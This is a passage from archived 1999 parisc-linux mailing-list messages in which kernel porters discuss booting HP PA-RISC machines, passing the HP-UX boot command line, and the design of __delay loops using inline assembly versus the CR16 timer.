> in the CVS tree changed.

I still doubt it, you should at least see the boot loader print some
messages.

Sure the bootp server is actually running ?

	Philipp Rumpf

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar 10 14:51:19 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id OAA03676
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 14:51:19 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 14:51:19 PST
Received: from smtp02.primenet.com (daemon@smtp01.primenet.com [206.165.6.132])
	by primenet.com (8.8.8/8.8.5) with ESMTP id EAA22302
	for <pcj@smtp-local.primenet.com>; Wed, 10 Mar 1999 04:54:15 -0700 (MST)
Received: (from daemon@localhost)
	by smtp02.primenet.com (8.8.8/8.8.8) id EAA08189
	for <pcj@primenet.com>; Wed, 10 Mar 1999 04:54:13 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp02.primenet.com, id smtpd008174; Wed Mar 10 04:54:12 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id GAA32501;
	Wed, 10 Mar 1999 06:22:39 -0500
Resent-Date: Wed, 10 Mar 1999 06:22:39 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Message-Id: <199903101120.MAA19259@be3334.schering.de>
From: "Strelow, Ulrich" <Ulrich.Strelow@Schering.DE>
To: ",hppa-linux@thepuffingroup.com " <hppa-linux@thepuffingroup.com>
Subject: Betr.: [hppa-linux] Bootstrap take 3
Date: Wed, 10 Mar 1999 12:19:00 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.1960.3)
Content-Type: text/plain
Resent-Message-ID: <"Vi5jo1.0.lx7._Nbvs"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/157
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 84fa5809769a76d758de688c1c74511b
Lines: 19
Xref: merlin.pcj.primenet.com palinux:128

     Hi all,
     
     this time it worked on my 715/33 booted via rbootd. I can see the
     spinning cursor. And no characters dropped or overwritten.
     
     Great.
     Ulrich
     ---------------------------------------------
      Ulrich Strelow
     <ulrich.strelow@schering.de or
     ulrich_strelow@csi.com>
     Berlin, Germany 
     
     

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress
Date: Tue, 23 Nov 1999 12:47:18 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <19991123124718.D1009@mathe.stud.uni-erlangen.de>
References: <19991122193347.A1009@mathe.stud.uni-erlangen.de> <199911222055.PAA01550@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618663 28598 80.91.229.3 (22 Nov 2014 01:11:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:03 +0000 (UTC)
Cc: Philipp Heinrich Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: prumpf@abacus.uni-erlangen.de  Tue Nov 23 08:45:15 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA02965
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Nov 1999 08:45:14 -0700
Original-Received: (qmail 25607 invoked by uid 15267); 23 Nov 1999 15:47:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25592 invoked from network); 23 Nov 1999 15:46:59 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 23 Nov 1999 15:46:59 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Tue, 23 Nov 1999 16:46:53 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id MAA02026;
	Tue, 23 Nov 1999 12:48:18 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911222055.PAA01550@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:6494

> My timing tests on a 735 indicate that the loop with two addib instructions
> is only 25% faster than a loop with one addib and one nop.

Who cares about how fast the loop is, actually ?

> You are correct that there are only two actual instructions in the loop.
> However, the timing measurements indicate that the two addib loop stalls
> for one instruction time.  Thus, effectively there is an extra nop in your
> loop.

> As a result, my comments re the BogoMIPS calculation below are correct for
> a 735 PA7100.  I think the stall is on the second addib when the forward
> branch is not taken.

Forward branches should be predicted not taken.

	Philipp Rumpf


From - Thu Nov 08 21:11:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@debian.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress
Date: Tue, 23 Nov 1999 08:59:52 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <199911231559.IAA23827@debian.fc.hp.com>
References: <19991122083023.B1310@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618663 28601 80.91.229.3 (22 Nov 2014 01:11:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:03 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@debian.fc.hp.com  Tue Nov 23 08:58:25 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA03117
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Nov 1999 08:58:23 -0700
Original-Received: (qmail 31689 invoked by uid 15267); 23 Nov 1999 16:00:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31666 invoked from network); 23 Nov 1999 16:00:04 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 23 Nov 1999 16:00:04 -0000
Original-Received: from udlkern.fc.hp.com (root@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id IAA21194
	for <parisc-linux@thepuffingroup.com>; Tue, 23 Nov 1999 08:59:53 -0700 (MST)
Original-Received: from debian.fc.hp.com (root@debian.fc.hp.com [15.1.48.119]) by udlkern.fc.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id IAA08805 for <parisc-linux@thepuffingroup.com>; Tue, 23 Nov 1999 08:59:53 -0700 (MST)
Original-Received: from debian.fc.hp.com (bame@localhost [127.0.0.1])
	by debian.fc.hp.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id IAA23827
	for <parisc-linux@thepuffingroup.com>; Tue, 23 Nov 1999 08:59:52 -0700
In-reply-to: Your message of "Mon, 22 Nov 1999 08:30:23 +0100."
             <19991122083023.B1310@mathe.stud.uni-erlangen.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:6495

= 
= Honestly, I don't think we have a way yet to use the command line the HPUX
= boot loader passes us (which I was told uses the ANSI C way of passing
= arguments, i.e. argument count in GR26, pointer to NULL-terminated array
= of pointers to NULL-terminated arrays of strings in GR25).  Anyone up to
= write some glue code that puts that back together into a simple long string
= Linux's commandline splitting code can spli again ?
= 

I wrote that glue a while back -- it's in real/setup.c and is #if-0-ed.
Unfortunately the strings are stored
in low-ish physical RAM which is overwritten when the our kernel is
loaded.  If we want the hpux command line badly enough, we'll have
to load the kernel at a higher physical location.  It could then
be copied to 0x10000 after we collect the command line.  

One could hard-code a command line in real/setup.c temporarily...

	-P


From - Thu Nov 08 21:11:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress
Date: Tue, 23 Nov 1999 11:19:17 -0500 (EST)
Lines: 29
Approved: news@gmane.org
Message-ID: <199911231619.LAA03531@hiauly1.hia.nrc.ca>
References: <19991123124718.D1009@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618664 28605 80.91.229.3 (22 Nov 2014 01:11:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:04 +0000 (UTC)
Cc: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de,
        parisc-linux@thepuffingroup.com
To: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de (Philipp Rumpf)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Nov 23 09:17:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA03468
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Nov 1999 09:17:50 -0700
Original-Received: (qmail 8329 invoked by uid 15267); 23 Nov 1999 16:19:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8319 invoked from network); 23 Nov 1999 16:19:32 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 23 Nov 1999 16:19:32 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id LAA03531;
	Tue, 23 Nov 1999 11:19:17 -0500 (EST)
In-Reply-To: <19991123124718.D1009@mathe.stud.uni-erlangen.de> from "Philipp Rumpf" at Nov 23, 99 12:47:18 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6496

> 
> > My timing tests on a 735 indicate that the loop with two addib instructions
> > is only 25% faster than a loop with one addib and one nop.
> 
> Who cares about how fast the loop is, actually ?

You get better control of the number of delay instructions executed.  This
is the definition of __delay() that I like:

/* 
 * __delay(N) executes N+2 or N+3 instructions without any pipeline stalls
 * depending on whether it is aligned on an eight byte boundary or not.
 */

extern __inline__ void __delay(unsigned long loops) {
	asm volatile(
	"	.balignl	8,0x34000034
		addib,UV        -1,%0,.
		addi,NUV        -1,%0,%0"
		: "=r" (loops) : "0" (loops));
}

Increase your BogoMIPS!

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress
Date: Tue, 23 Nov 1999 11:33:03 -0500 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <199911231633.LAA03575@hiauly1.hia.nrc.ca>
References: <199911231559.IAA23827@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618664 28606 80.91.229.3 (22 Nov 2014 01:11:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:04 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: bame@debian.fc.hp.com (Paul Bame)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Nov 23 09:32:49 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA03974
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Nov 1999 09:32:47 -0700
Original-Received: (qmail 15484 invoked by uid 15267); 23 Nov 1999 16:34:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15462 invoked from network); 23 Nov 1999 16:34:30 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 23 Nov 1999 16:34:30 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id LAA03575;
	Tue, 23 Nov 1999 11:33:04 -0500 (EST)
In-Reply-To: <199911231559.IAA23827@debian.fc.hp.com> from "Paul Bame" at Nov 23, 99 08:59:52 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6497

> = Honestly, I don't think we have a way yet to use the command line the HPUX
> = boot loader passes us (which I was told uses the ANSI C way of passing
> = arguments, i.e. argument count in GR26, pointer to NULL-terminated array
> = of pointers to NULL-terminated arrays of strings in GR25).  Anyone up to
> = write some glue code that puts that back together into a simple long string
> = Linux's commandline splitting code can spli again ?
> = 
> 
> I wrote that glue a while back -- it's in real/setup.c and is #if-0-ed.
> Unfortunately the strings are stored
> in low-ish physical RAM which is overwritten when the our kernel is
> loaded.  If we want the hpux command line badly enough, we'll have
> to load the kernel at a higher physical location.  It could then
> be copied to 0x10000 after we collect the command line.  
> 
> One could hard-code a command line in real/setup.c temporarily...

How much higher do you think is necessary?  Hpux seems to use 0x11000.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@debian.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress
Date: Tue, 23 Nov 1999 10:05:02 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <199911231705.KAA24125@debian.fc.hp.com>
References: <199911231633.LAA03575@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618664 28608 80.91.229.3 (22 Nov 2014 01:11:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:04 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: bame@debian.fc.hp.com  Tue Nov 23 10:03:32 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA04635
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Nov 1999 10:03:31 -0700
Original-Received: (qmail 29945 invoked by uid 15267); 23 Nov 1999 17:05:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29928 invoked from network); 23 Nov 1999 17:05:17 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 23 Nov 1999 17:05:17 -0000
Original-Received: from udlkern.fc.hp.com (root@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id KAA28958;
	Tue, 23 Nov 1999 10:05:03 -0700 (MST)
Original-Received: from debian.fc.hp.com (root@debian.fc.hp.com [15.1.48.119]) by udlkern.fc.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id KAA10429; Tue, 23 Nov 1999 10:05:03 -0700 (MST)
Original-Received: from debian.fc.hp.com (bame@localhost [127.0.0.1])
	by debian.fc.hp.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id KAA24125;
	Tue, 23 Nov 1999 10:05:02 -0700
In-reply-to: Your message of "Tue, 23 Nov 1999 11:33:03 EST."
             <199911231633.LAA03575@hiauly1.hia.nrc.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:6498

= > Unfortunately the strings are stored
= > in low-ish physical RAM which is overwritten when the our kernel is
= > loaded.  If we want the hpux command line badly enough, we'll have
= > to load the kernel at a higher physical location.  It could then
= > be copied to 0x10000 after we collect the command line.  
= 
= How much higher do you think is necessary?  Hpux seems to use 0x11000.

I seem to recall 0x21xxx was where the strings were stored but my
memory is fallable, and printfs are easy to insert into the #if-0-ed
section (#if-1 it too...).  This is probably the "free" area at the
end of the hpux boot loader.  I think the boot loader text+data size
cannot exceed 256k (0x40000), plus maybe 64k (0x10000) for BSS and
heap, plus the 64k unusable at 0, so maybe 0x60000
would be a good conservative spot?

	-P


From - Thu Nov 08 21:11:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress
Date: Tue, 23 Nov 1999 19:03:39 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <19991123190339.H1009@mathe.stud.uni-erlangen.de>
References: <19991123124718.D1009@mathe.stud.uni-erlangen.de> <199911231619.LAA03531@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618664 28610 80.91.229.3 (22 Nov 2014 01:11:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:04 +0000 (UTC)
Cc: Philipp Heinrich Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: prumpf@abacus.uni-erlangen.de  Tue Nov 23 11:06:45 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA05298
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Nov 1999 11:06:43 -0700
Original-Received: (qmail 26578 invoked by uid 15267); 23 Nov 1999 18:08:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26571 invoked from network); 23 Nov 1999 18:08:28 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 23 Nov 1999 18:08:28 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Tue, 23 Nov 1999 19:07:49 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id TAA02825;
	Tue, 23 Nov 1999 19:04:52 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911231619.LAA03531@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:6499

> /* 
>  * __delay(N) executes N+2 or N+3 instructions without any pipeline stalls
>  * depending on whether it is aligned on an eight byte boundary or not.
>  */
> 
> extern __inline__ void __delay(unsigned long loops) {
> 	asm volatile(
> 	"	.balignl	8,0x34000034
> 		addib,UV        -1,%0,.
> 		addi,NUV        -1,%0,%0"
> 		: "=r" (loops) : "0" (loops));
> }

I'd agree this loop is the nicest of the "real" delay loops so far, but I'm
still unconvinced there's any advantage to using a "real" delay loop over a
CR16-based one.

	Philipp Rumpf


From - Thu Nov 08 21:11:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress
Date: Tue, 23 Nov 1999 14:01:32 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <199911231901.OAA03902@hiauly1.hia.nrc.ca>
References: <19991123190339.H1009@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618665 28612 80.91.229.3 (22 Nov 2014 01:11:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:05 +0000 (UTC)
Cc: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de,
        parisc-linux@thepuffingroup.com
To: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de (Philipp Rumpf)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Nov 23 12:00:00 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA05648
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Nov 1999 12:00:00 -0700
Original-Received: (qmail 19593 invoked by uid 15267); 23 Nov 1999 19:01:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19549 invoked from network); 23 Nov 1999 19:01:42 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 23 Nov 1999 19:01:42 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id OAA03902;
	Tue, 23 Nov 1999 14:01:33 -0500 (EST)
In-Reply-To: <19991123190339.H1009@mathe.stud.uni-erlangen.de> from "Philipp Rumpf" at Nov 23, 99 07:03:39 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6500

> I'd agree this loop is the nicest of the "real" delay loops so far, but I'm
> still unconvinced there's any advantage to using a "real" delay loop over a
> CR16-based one.

I think it depends on what the intended use of __delay() is.  If you just
want to wait a few cycles for a device register to update, then the "real"
delay loop should be fine.  The CR16-based loop will return faster if
there is some kind of hardware event during the loop.  But does it matter?
Usually, you don't care if the delay is longer than specified.

The CR16 loop is probably better for long delays.  However, in this case,
we probably should be sleeping instead.

For small delays, the CR16 loop has the same problems as the "real"
loop (cache and page faults, interrupts, etc).  The CR16 timer also
has a model dependent rate.  My documentation indicates the rate
varies from 0.5 to 2 times the peak instruction rate.  The algorithm
is not as tight as the "real" loop.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress
Date: Tue, 23 Nov 1999 15:15:12 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <199911232015.PAA08284@hiauly1.hia.nrc.ca>
References: <199911231559.IAA23827@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618665 28616 80.91.229.3 (22 Nov 2014 01:11:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:05 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: bame@debian.fc.hp.com (Paul Bame)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Nov 23 13:15:03 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA06258
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Nov 1999 13:15:02 -0700
Original-Received: (qmail 22240 invoked by uid 15267); 23 Nov 1999 20:16:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22208 invoked from network); 23 Nov 1999 20:16:37 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 23 Nov 1999 20:16:37 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id PAA08284;
	Tue, 23 Nov 1999 15:15:13 -0500 (EST)
In-Reply-To: <199911231559.IAA23827@debian.fc.hp.com> from "Paul Bame" at Nov 23, 99 08:59:52 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6501

> One could hard-code a command line in real/setup.c temporarily...

I think this is in fact reasonable.  The default command line
define needs to move from ipl_c.c to bootdata.h.  This header can then
be loaded by real/setup.c and the default command line set for the
hpux load.  Even, if we get the passing of args from hpux working,
it would still be good to have a default command line so I don't have
to type it all the time.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress
Date: Tue, 23 Nov 1999 13:11:44 -0800 (PST)
Lines: 26
Approved: news@gmane.org
Message-ID: <199911232111.NAA25923@opus.allegro.com>
References: <19991123190339.H1009@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618665 28618 80.91.229.3 (22 Nov 2014 01:11:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:05 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de (Philipp Rumpf)
Original-X-From: sieler@opus.allegro.com  Tue Nov 23 14:10:04 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA06830
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Nov 1999 14:10:03 -0700
Original-Received: (qmail 15874 invoked by uid 15267); 23 Nov 1999 21:11:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15837 invoked from network); 23 Nov 1999 21:11:47 -0000
Original-Received: from opus.allegro.com (209.10.39.50)
  by mailserv2.iuinc.com with SMTP; 23 Nov 1999 21:11:47 -0000
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id NAA25923;
	Tue, 23 Nov 1999 13:11:44 -0800
In-Reply-To: <19991123190339.H1009@mathe.stud.uni-erlangen.de> from "Philipp Rumpf" at Nov 23, 1999 07:03:39 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:6502

Re:

> I'd agree this loop is the nicest of the "real" delay loops so far, but I'm
> still unconvinced there's any advantage to using a "real" delay loop over a
> CR16-based one.

If interrupts can happen (and get serviced), a CR16 loop is inherently
unreliable.  If you're looping until CR16 becomes >= some value, X, then
you might find that CR16 goes:   n, n+2, n+3, n-10000, n-9998, ...

I.e., the interrupt servicing could take enough time that the value in
CR16 becomes misleading.  If the new CR16 is < the last seen one, is it
simply because it "rolled over", or because an interrupt came in and 
you've spent an unknown amount of time doing other things?

OTOH, I like the idea of using a drastic change to CR16 as a signal
that "something happened", and consider using that as a clue 
to prematurely exit a counter-based loop.  In that scenario, I'd
expect a routine like:   delay (int loops,  int premature_exit_ok),
which would let the caller decide if a premature (CR16 change based)
exit was allowable.

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html          www.allegro.com/sieler


From - Thu Nov 08 21:11:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress
Date: Wed, 24 Nov 1999 11:00:32 +0100
Lines: 91
Approved: news@gmane.org
Message-ID: <19991124110032.I1009@mathe.stud.uni-erlangen.de>
References: <19991123190339.H1009@mathe.stud.uni-erlangen.de> <199911232111.NAA25923@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
